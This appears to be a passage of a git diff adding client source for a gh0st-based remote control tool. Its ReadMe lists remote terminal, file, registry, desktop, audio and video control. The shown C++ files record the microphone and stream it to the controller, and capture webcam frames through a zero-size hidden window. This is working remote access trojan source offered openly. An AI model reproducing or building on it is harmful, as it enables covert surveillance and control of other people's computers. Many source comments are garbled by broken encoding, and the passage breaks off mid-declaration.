diff --git a/.gitignore b/.gitignore index 1f26d5b..6575190 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,8 @@ # Prerequisites *.d +.svn +Debug +Release # Compiled Object files *.slo diff --git a/ReadMe.txt b/ReadMe.txt new file mode 100644 index 0000000..1ce5712 --- /dev/null +++ b/ReadMe.txt @@ -0,0 +1,16 @@ +[简介] + +基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。 + +来源:https://github.com/zibility/Remote + +日期:2019.1.1 + +[更新日志] + +2019.1.5 + +1、整理垃圾排版,优化上线下线处理逻辑。 +2、修复部分内存泄漏问题,改善线程处理逻辑。 +3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。 +4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。 diff --git a/client/Audio.cpp b/client/Audio.cpp new file mode 100644 index 0000000..93ac906 --- /dev/null +++ b/client/Audio.cpp @@ -0,0 +1,237 @@ +// Audio.cpp: implementation of the CAudio class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "Audio.h" +#include + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CAudio::CAudio() +{ + m_bExit = FALSE; + m_hThreadCallBack = false; + m_bIsWaveInUsed = FALSE; + m_bIsWaveOutUsed = FALSE; + m_nWaveInIndex = 0; + m_nWaveOutIndex = 0; + m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL); + m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL); + memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT)); + + m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; + m_GSMWavefmt.wfx.nChannels = 1; + m_GSMWavefmt.wfx.nSamplesPerSec = 8000; + m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625; + m_GSMWavefmt.wfx.nBlockAlign = 65; + m_GSMWavefmt.wfx.wBitsPerSample = 0; + m_GSMWavefmt.wfx.cbSize = 2; + m_GSMWavefmt.wSamplesPerBlock = 320; + + m_ulBufferLength = 1000; + + int i = 0; + for (i = 0; i < 2; i++) + { + m_InAudioData[i] = new BYTE[m_ulBufferLength]; + m_InAudioHeader[i] = new WAVEHDR; + + m_OutAudioData[i] = new BYTE[m_ulBufferLength]; + m_OutAudioHeader[i] = new WAVEHDR; + } +} + +CAudio::~CAudio() +{ + m_bExit = TRUE; + if (m_bIsWaveInUsed) + { + waveInStop(m_hWaveIn); + waveInReset(m_hWaveIn); + for (int i = 0; i < 2; i++) + waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); + + waveInClose(m_hWaveIn); + WAIT (m_hThreadCallBack, 30); + if (m_hThreadCallBack) + printf("ûгɹرwaveInCallBack.\n"); + } + + for (int i = 0; i < 2; i++) + { + delete [] m_InAudioData[i]; + m_InAudioData[i] = NULL; + delete [] m_InAudioHeader[i]; + m_InAudioHeader[i] = NULL; + } + if (m_hEventWaveIn) + { + SetEvent(m_hEventWaveIn); + CloseHandle(m_hEventWaveIn); + m_hEventWaveIn = NULL; + } + if (m_hStartRecord) + { + SetEvent(m_hStartRecord); + CloseHandle(m_hStartRecord); + m_hStartRecord = NULL; + } + + if (m_bIsWaveOutUsed) + { + waveOutReset(m_hWaveOut); + for (int i = 0; i < 2; i++) + waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); + waveOutClose(m_hWaveOut); + } + + for (int i = 0; i < 2; i++) + { + delete [] m_OutAudioData[i]; + m_OutAudioData[i] = NULL; + delete [] m_OutAudioHeader[i]; + m_OutAudioHeader[i] = NULL; + } +} + +BOOL CAudio::InitializeWaveIn() +{ + MMRESULT mmResult; + DWORD dwThreadID = 0; + + HANDLE h = NULL; + m_hThreadCallBack = h = CreateThread(NULL, 0, + (LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, + CREATE_SUSPENDED, &dwThreadID); + + //¼豸COM 1 ָ 2 ֧̻ͨ߳ص + mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER, + &(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD); + + //m_hWaveIn ¼ + if (mmResult != MMSYSERR_NOERROR) + { + return FALSE; + } + + //¼豸 Ҫ + for (int i=0; i<2; i++) + { + m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ + m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength; + m_InAudioHeader[i]->dwFlags = 0; + m_InAudioHeader[i]->dwLoops = 0; + waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); + } + + waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR)); + + ResumeThread(h); + CloseHandle(h); + waveInStart(m_hWaveIn); //¼ + + m_bIsWaveInUsed = TRUE; + + return true; +} + +LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize) +{ + //¼ + if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) + { + return NULL; + } + if (dwBufferSize == NULL) + { + return NULL; + } + SetEvent(m_hStartRecord); + WaitForSingleObject(m_hEventWaveIn, INFINITE); + *dwBufferSize = m_ulBufferLength; + return m_InAudioData[m_nWaveInIndex]; // +} + +DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) +{ + CAudio *This = (CAudio *)lParam; + + MSG Msg; + + while (GetMessage(&Msg, NULL, 0, 0)) + { + if (This->m_bExit) + break; + if (Msg.message == MM_WIM_DATA) + { + SetEvent(This->m_hEventWaveIn); + WaitForSingleObject(This->m_hStartRecord, INFINITE); + + Sleep(1); + This->m_nWaveInIndex = 1 - This->m_nWaveInIndex; + + + //» + MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, + This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); + if (mmResult != MMSYSERR_NOERROR) + return -1; + } + + if (Msg.message == MM_WIM_CLOSE) + { + break; + } + + TranslateMessage(&Msg); + DispatchMessage(&Msg); + } + + std::cout<<"waveInCallBack end\n"; + This->m_hThreadCallBack = false; + + return 0; +} + +BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize) +{ + if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 Ƶʽ 2 豸 + return NULL; + + for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) + { + memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength); + waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR)); + m_nWaveOutIndex = 1 - m_nWaveOutIndex; + } + return true; +} + +BOOL CAudio::InitializeWaveOut() +{ + if (!waveOutGetNumDevs()) + return FALSE; + int i; + for (i = 0; i < 2; i++) + memset(m_OutAudioData[i], 0, m_ulBufferLength); // + + MMRESULT mmResult; + mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL); + if (mmResult != MMSYSERR_NOERROR) + return false; + + for (i = 0; i < 2; i++) + { + m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i]; + m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength; + m_OutAudioHeader[i]->dwFlags = 0; + m_OutAudioHeader[i]->dwLoops = 0; + waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR)); + } + + m_bIsWaveOutUsed = TRUE; + return TRUE; +} diff --git a/client/Audio.h b/client/Audio.h new file mode 100644 index 0000000..c49020f --- /dev/null +++ b/client/Audio.h @@ -0,0 +1,44 @@ +// Audio.h: interface for the CAudio class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_) +#define AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +#include +#include + + +class CAudio +{ +public: + CAudio(); + virtual ~CAudio(); + GSM610WAVEFORMAT m_GSMWavefmt; + ULONG m_ulBufferLength; + LPWAVEHDR m_InAudioHeader[2]; //ͷ + LPBYTE m_InAudioData[2]; // + HANDLE m_hEventWaveIn; + HANDLE m_hStartRecord; //¼ + HWAVEIN m_hWaveIn; //豸 + DWORD m_nWaveInIndex; + bool m_hThreadCallBack; + static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض + LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize); + BOOL CAudio::InitializeWaveIn(); + BOOL m_bIsWaveInUsed; + + HWAVEOUT m_hWaveOut; + BOOL m_bExit; + BOOL m_bIsWaveOutUsed; + DWORD m_nWaveOutIndex; + LPWAVEHDR m_OutAudioHeader[2]; //ͷ + LPBYTE m_OutAudioData[2]; // + BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); + BOOL CAudio::InitializeWaveOut(); +}; + +#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_) diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp new file mode 100644 index 0000000..6d43d98 --- /dev/null +++ b/client/AudioManager.cpp @@ -0,0 +1,120 @@ +// AudioManager.cpp: implementation of the CAudioManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "AudioManager.h" +#include "Common.h" +#include +#include + + +using namespace std; + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +{ + m_bIsWorking = FALSE; + m_AudioObject = NULL; + + if (Initialize()==FALSE) + { + return; + } + + BYTE bToken = TOKEN_AUDIO_START; + m_ClientObject->OnServerSending((char*)&bToken, 1); + + WaitForDialogOpen(); //ȴԻ + + m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, + (LPVOID)this, 0, NULL); +} + + +VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength) +{ + switch(szBuffer[0]) + { + case COMMAND_NEXT: + { + NotifyDialogIsOpen(); + break; + } + default: + { + m_AudioObject->PlayBuffer(szBuffer, ulLength); + break; + } + } +} + +DWORD CAudioManager::WorkThread(LPVOID lParam) // +{ + CAudioManager *This = (CAudioManager *)lParam; + while (This->m_bIsWorking) + { + This->SendRecordBuffer(); + } + + cout<<"CAudioManager WorkThread end\n"; + + return 0; +} + +int CAudioManager::SendRecordBuffer() +{ + DWORD dwBufferSize = 0; + DWORD dwReturn = 0; + //õ Ƶ + LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize); + if (szBuffer == NULL) + return 0; + //仺 + LPBYTE szPacket = new BYTE[dwBufferSize + 1]; + //ͷ + szPacket[0] = TOKEN_AUDIO_DATA; //ض˷͸Ϣ + //ƻ + memcpy(szPacket + 1, szBuffer, dwBufferSize); + //ͳȥ + if (dwBufferSize > 0) + { + dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1); + } + delete szPacket; + return dwReturn; +} + +CAudioManager::~CAudioManager() +{ + m_bIsWorking = FALSE; //趨״̬Ϊ + WaitForSingleObject(m_hWorkThread, INFINITE); //ȴ ߳̽ + + if (m_AudioObject!=NULL) + { + delete m_AudioObject; + m_AudioObject = NULL; + } +} + +//USB +BOOL CAudioManager::Initialize() +{ + if (!waveInGetNumDevs()) //ȡ豸Ŀ ʵʾǿû + return FALSE; + + // SYS SYS P + // ʹ.. ֹظʹ + if (m_bIsWorking==TRUE) + { + return FALSE; + } + + m_AudioObject = new CAudio; // + + m_bIsWorking = TRUE; + return TRUE; +} diff --git a/client/AudioManager.h b/client/AudioManager.h new file mode 100644 index 0000000..b7d9bfb --- /dev/null +++ b/client/AudioManager.h @@ -0,0 +1,31 @@ +// AudioManager.h: interface for the CAudioManager class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_) +#define AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "Manager.h" +#include "Audio.h" + + +class CAudioManager : public CManager +{ +public: + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + BOOL Initialize(); + CAudioManager(IOCPClient* ClientObject, int n); + virtual ~CAudioManager(); + BOOL m_bIsWorking; + HANDLE m_hWorkThread; + static DWORD WorkThread(LPVOID lParam); + int CAudioManager::SendRecordBuffer(); + + CAudio* m_AudioObject; +}; + +#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_) diff --git a/client/Buffer.cpp b/client/Buffer.cpp new file mode 100644 index 0000000..e4700f5 --- /dev/null +++ b/client/Buffer.cpp @@ -0,0 +1,177 @@ +#include "StdAfx.h" +#include "Buffer.h" + +#include + + +#define U_PAGE_ALIGNMENT 3 +#define F_PAGE_ALIGNMENT 3.0 +CBuffer::CBuffer(void) +{ + m_ulMaxLength = 0; + + m_Ptr = m_Base = NULL; + + InitializeCriticalSection(&m_cs); +} + + +CBuffer::~CBuffer(void) +{ + if (m_Base) + { + VirtualFree(m_Base, 0, MEM_RELEASE); + m_Base = NULL; + } + + DeleteCriticalSection(&m_cs); + + m_Base = m_Ptr = NULL; + m_ulMaxLength = 0; +} + + + +ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength) +{ + EnterCriticalSection(&m_cs); + + if (ulLength > GetBufferMaxLength()) + { + LeaveCriticalSection(&m_cs); + return 0; + } + if (ulLength > GetBufferLength()) + { + ulLength = GetBufferLength(); + } + + if (ulLength) + { + CopyMemory(Buffer,m_Base,ulLength); + + MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength); + m_Ptr -= ulLength; + } + + DeAllocateBuffer(GetBufferLength()); + + LeaveCriticalSection(&m_cs); + return ulLength; +} + + + +ULONG CBuffer::DeAllocateBuffer(ULONG ulLength) +{ + if (ulLength < GetBufferLength()) + return 0; + + ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; + + if (GetBufferMaxLength() <= ulNewMaxLength) + { + return 0; + } + PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); + + ULONG ulv1 = GetBufferLength(); //ԭڴЧ + CopyMemory(NewBase,m_Base,ulv1); + + VirtualFree(m_Base,0,MEM_RELEASE); + + m_Base = NewBase; + + m_Ptr = m_Base + ulv1; + + m_ulMaxLength = ulNewMaxLength; + + return m_ulMaxLength; +} + + +BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength) +{ + EnterCriticalSection(&m_cs); + + if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024 + { + LeaveCriticalSection(&m_cs); + return false; + } + + CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5 + + m_Ptr+=ulLength; + LeaveCriticalSection(&m_cs); + return TRUE; +} + + + +ULONG CBuffer::ReAllocateBuffer(ULONG ulLength) +{ + if (ulLength < GetBufferMaxLength()) + return 0; + + ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; + PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); + if (NewBase == NULL) + { + return -1; + } + + ULONG ulv1 = GetBufferLength(); //ԭȵЧݳ + CopyMemory(NewBase,m_Base,ulv1); + + if (m_Base) + { + VirtualFree(m_Base,0,MEM_RELEASE); + } + m_Base = NewBase; + m_Ptr = m_Base + ulv1; //1024 + + m_ulMaxLength = ulNewMaxLength; //2048 + + return m_ulMaxLength; +} + + + +VOID CBuffer::ClearBuffer() +{ + EnterCriticalSection(&m_cs); + m_Ptr = m_Base; + + DeAllocateBuffer(1024); + LeaveCriticalSection(&m_cs); +} + + + +ULONG CBuffer::GetBufferLength() //Чݳ +{ + if (m_Base == NULL) + return 0; + + return (ULONG)m_Ptr - (ULONG)m_Base; +} + + +ULONG CBuffer::GetBufferMaxLength() +{ + return m_ulMaxLength; +} + +PBYTE CBuffer::GetBuffer(ULONG ulPos) +{ + if (m_Base==NULL) + { + return NULL; + } + if (ulPos>=GetBufferLength()) + { + return NULL; + } + return m_Base+ulPos; +} diff --git a/client/Buffer.h b/client/Buffer.h new file mode 100644 index 0000000..3a84cab --- /dev/null +++ b/client/Buffer.h @@ -0,0 +1,25 @@ +#pragma once +#include + + +class CBuffer +{ +public: + CBuffer(void); + ~CBuffer(void); + + ULONG CBuffer::GetBufferMaxLength(); + ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength); + ULONG CBuffer::GetBufferLength(); //Чݳ; + ULONG CBuffer::DeAllocateBuffer(ULONG ulLength); + VOID CBuffer::ClearBuffer(); + ULONG CBuffer::ReAllocateBuffer(ULONG ulLength); + BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength); + PBYTE CBuffer::GetBuffer(ULONG ulPos=0); + +protected: + PBYTE m_Base; + PBYTE m_Ptr; + ULONG m_ulMaxLength; + CRITICAL_SECTION m_cs; +}; diff --git a/client/CaptureVideo.cpp b/client/CaptureVideo.cpp new file mode 100644 index 0000000..34751be --- /dev/null +++ b/client/CaptureVideo.cpp @@ -0,0 +1,276 @@ +// CaptureVideo.cpp: implementation of the CCaptureVideo class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "CaptureVideo.h" + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// +CSampleGrabberCB mCB; + +CCaptureVideo::CCaptureVideo() +{ + if(FAILED(CoInitialize(NULL))) + { + + return; + } + m_pCapture = NULL; + m_pGB = NULL; + m_pMC = NULL; + m_pVW = NULL; +} + +CCaptureVideo::~CCaptureVideo() +{ + if(m_pMC)m_pMC->StopWhenReady(); + if(m_pVW){ + m_pVW->put_Visible(OAFALSE); + m_pVW->put_Owner(NULL); + } + SAFE_RELEASE(m_pMC); + SAFE_RELEASE(m_pVW); + SAFE_RELEASE(m_pGB); + SAFE_RELEASE(m_pBF); + SAFE_RELEASE(m_pGrabber); + + CoUninitialize() ; +} + +//!!Ҳ +HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) +{ + HRESULT hResult; + + hResult = InitCaptureGraphBuilder(); // + if (FAILED(hResult)) + { + return hResult; + } + if(!BindVideoFilter(iDeviceID, &m_pBF)) //FDo + return S_FALSE; + + hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter"); + + hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, + IID_ISampleGrabber, (void**)&m_pGrabber); //ڴ + if(FAILED(hResult)) + { + return hResult; + } + + //m_pGrabber 1 ʽ 2 ڴ滺ʽ + CComQIPtr pGrabBase(m_pGrabber);//Ƶʽ + AM_MEDIA_TYPE mt; //Ƶʽ + ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE)); + mt.majortype = MEDIATYPE_Video; + mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24 ; + + hResult = m_pGrabber->SetMediaType(&mt); + if( FAILED( hResult )) + { + return hResult; + } + hResult = m_pGB->AddFilter( pGrabBase,L"Grabber"); + + if( FAILED(hResult)) + { + return hResult; + } + + hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //̬ + &MEDIATYPE_Video,m_pBF,pGrabBase,NULL); + if( FAILED(hResult)) + { + hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL); + //׽ + } + if( FAILED(hResult)) + { + return hResult; + } + hResult = m_pGrabber->GetConnectedMediaType(&mt); + + if (FAILED( hResult) ) + { + return hResult; + } + + //3 ׽ FDO һݾͽ ص һ + + VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat; + //mCB Ǹһ ȫֱ иص + mCB.m_ulFullWidth = vih->bmiHeader.biWidth; + mCB.m_ulFullHeight = vih->bmiHeader.biHeight; + + FreeMediaType(mt); + + hResult = m_pGrabber->SetBufferSamples( FALSE ); //ص + hResult = m_pGrabber->SetOneShot( FALSE ); + + //Ƶص ҲƵʱͻBufferCB + + //OnTimer + hResult = m_pGrabber->SetCallback(&mCB, 1); + + m_hWnd = CreateWindow("#32770", + "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL); + + SetupVideoWindow(); //δ + + hResult = m_pMC->Run(); // + + if(FAILED(hResult)) + { + return hResult; + } + return S_OK; +} + + +HRESULT CCaptureVideo::InitCaptureGraphBuilder() +{ + HRESULT hResult; + + hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC, + IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //ʵ豸 + + if (FAILED(hResult)) + { + return hResult; + } + + hResult=CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER, + IID_IGraphBuilder, (void**)&m_pGB); //豸 + + if (FAILED(hResult)) + { + return hResult; + } + //˰󶨵ʵ豸 + + m_pCapture->SetFiltergraph(m_pGB); + hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC); + if (FAILED(hResult)) + { + return hResult; + } + + //??? + hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW); + if (FAILED(hResult)) + { + return hResult; + } + return hResult; +} + +LPBITMAPINFO CCaptureVideo::GetBmpInfor() +{ + return mCB.GetBmpInfor(); //λͼڴͷ +} + +BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter) +{ + if (deviceId < 0) + return FALSE;// enumerate all video capture devices + CComPtr pCreateDevEnum; + HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER, + IID_ICreateDevEnum, (void**)&pCreateDevEnum); + if (hr != NOERROR) + { + return FALSE; + } + CComPtr pEm; + hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory,&pEm, 0); + if (hr != NOERROR) + { + return FALSE; + } + pEm->Reset(); + ULONG cFetched; + IMoniker *pM; + int index = 0; + while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId) + { + IPropertyBag *pBag; + //ͨBindToStorage Էʸ豸ıʶ + hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag); + if(SUCCEEDED(hr)) + { + VARIANT var; + var.vt = VT_BSTR; + hr = pBag->Read(L"FriendlyName", &var, NULL); + if (hr == NOERROR) + { + if (index == deviceId) + { + pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter); + } + SysFreeString(var.bstrVal); + } + pBag->Release(); //ü-- + } + pM->Release(); + index++; + } + return TRUE; +} + + +void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt) +{ + if (mt.cbFormat != 0) { + CoTaskMemFree((PVOID)mt.pbFormat); + mt.cbFormat = 0; + mt.pbFormat = NULL; + } + if (mt.pUnk != NULL) { + mt.pUnk->Release(); + mt.pUnk = NULL; + } +} + + +HRESULT CCaptureVideo::SetupVideoWindow() +{ + HRESULT hr; + hr = m_pVW->put_Owner((OAHWND)m_hWnd); + if (FAILED(hr))return hr; + hr = m_pVW->put_WindowStyle(WS_CHILD | WS_CLIPCHILDREN); + if (FAILED(hr))return hr; + ResizeVideoWindow(); + hr = m_pVW->put_Visible(OATRUE); + return hr; +} + +void CCaptureVideo::ResizeVideoWindow() +{ + if (m_pVW){ + RECT rc; + ::GetClientRect(m_hWnd,&rc); + m_pVW->SetWindowPosition(0, 0, rc.right, rc.bottom); //õ0 0 0 0 + } +} + +void CCaptureVideo::SendEnd() //ͽ ÿȡ +{ + InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); //ԭԷ //ԭԼ copy +} + +LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize) +{ + BYTE *szBuffer = NULL; + do + { + if (mCB.bStact==CMD_CAN_SEND) //ıһ·͵״̬ + { + szBuffer = mCB.GetNextScreen(dwSize); //ͨһijԱõƵݣǼ + } + } while (szBuffer==NULL); + + + return szBuffer; +} diff --git a/client/CaptureVideo.h b/client/CaptureVideo.h new file mode 100644 index 0000000..4c5686b --- /dev/null +++ b/client/CaptureVideo.h @@ -0,0 +1,186 @@ +// CaptureVideo.h: interface for the CCaptureVideo class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_) +#define AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib,"Strmiids.lib") + +enum{ + CMD_CAN_COPY, + CMD_CAN_SEND +}; + +#ifndef SAFE_RELEASE +#define SAFE_RELEASE( x ) if ( NULL != x ){ x->Release(); x = NULL; } +#endif + +class CSampleGrabberCB : public ISampleGrabberCB +{ +public: + ULONG m_ulFullWidth; + ULONG m_ulFullHeight; + LPBITMAPINFO m_BitmapInfor_Full; + BYTE* m_BitmapData_Full; + BOOL bStact; + DWORD m_dwSize; + + CSampleGrabberCB() + { + m_ulFullWidth = 0 ; + m_ulFullHeight = 0 ; + m_BitmapInfor_Full = NULL; + m_BitmapData_Full = NULL; + + m_dwSize = 0; + bStact = CMD_CAN_COPY; + } + + ~CSampleGrabberCB() + { + if (m_BitmapInfor_Full!=NULL) + { + delete[] m_BitmapInfor_Full; + } + + if (m_BitmapData_Full!=NULL) + { + delete[] m_BitmapData_Full; + } + + m_ulFullWidth = 0 ; + m_ulFullHeight = 0 ; + } + + LPBITMAPINFO GetBmpInfor() // + { + if (m_BitmapInfor_Full==NULL) //ͷϢ + { + ConstructBI(24); + } + + return m_BitmapInfor_Full; + } + + LPBITMAPINFO ConstructBI(ULONG ulbiBitCount) + { + int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0; + ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +ɫĸ + + m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength]; + + BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader); + + BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si + BitmapInforHeader->biWidth = m_ulFullWidth; + BitmapInforHeader->biHeight = m_ulFullHeight; + BitmapInforHeader->biPlanes = 1; + BitmapInforHeader->biBitCount = ulbiBitCount; + BitmapInforHeader->biCompression = BI_RGB; + BitmapInforHeader->biXPelsPerMeter = 0; + BitmapInforHeader->biYPelsPerMeter = 0; + BitmapInforHeader->biClrUsed = 0; + BitmapInforHeader->biClrImportant = 0; + + BitmapInforHeader->biSizeImage = //ͼ + (((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) & ~31) >> 3) + * BitmapInforHeader->biHeight; + // 16λԺûɫֱӷ + + //!! + m_dwSize=BitmapInforHeader->biSizeImage; //ݴС + m_BitmapData_Full=new BYTE[m_dwSize+10]; + ZeroMemory(m_BitmapData_Full,m_dwSize+10); + + return m_BitmapInfor_Full; + } + + STDMETHODIMP_(ULONG) AddRef() { return 2;} + STDMETHODIMP_(ULONG) Release() { return 1;} + + STDMETHODIMP QueryInterface(REFIID riid, void ** lParam) + { + //??? + if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ){ + *lParam = (void *) static_cast ( this ); + return NOERROR; + } + + return E_NOINTERFACE; + } + + BYTE* GetNextScreen(DWORD &dwSize) + { + dwSize=m_dwSize; + return (BYTE*)m_BitmapData_Full; + } + + STDMETHODIMP SampleCB( double dbSampleTime, IMediaSample * Sample) + { + return 0; + } + + //ص õ bmp + STDMETHODIMP BufferCB(double dblSampleTime, BYTE * szBuffer, long ulBufferSize) + { + if (!szBuffer) + { + return E_POINTER; + } + + if (bStact==CMD_CAN_COPY) //δʼ ͵ͬһ + { + //ͼݿǵڴ + memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //λͼ + + InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //ԭԷ + return S_OK; + } + return -1; + } +}; + + +class CCaptureVideo +{ +public: + CCaptureVideo(); + virtual ~CCaptureVideo(); + LPBITMAPINFO CCaptureVideo::GetBmpInfor(); + HRESULT CCaptureVideo::InitCaptureGraphBuilder(); + HRESULT CCaptureVideo::Open(int iDeviceID,int iPress); + BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter); + + LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize); + + HWND m_hWnd; + + IGraphBuilder * m_pGB; //ֵͨԷ FCDO Filter Control Device Object + ICaptureGraphBuilder2* m_pCapture; //ֵͨԷ ʵCDO + + IMediaControl* m_pMC; //豸Ľӿ + IVideoWindow* m_pVW; + + IBaseFilter* m_pBF; //FDO + ISampleGrabber* m_pGrabber; // 24Color + + void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt); + void 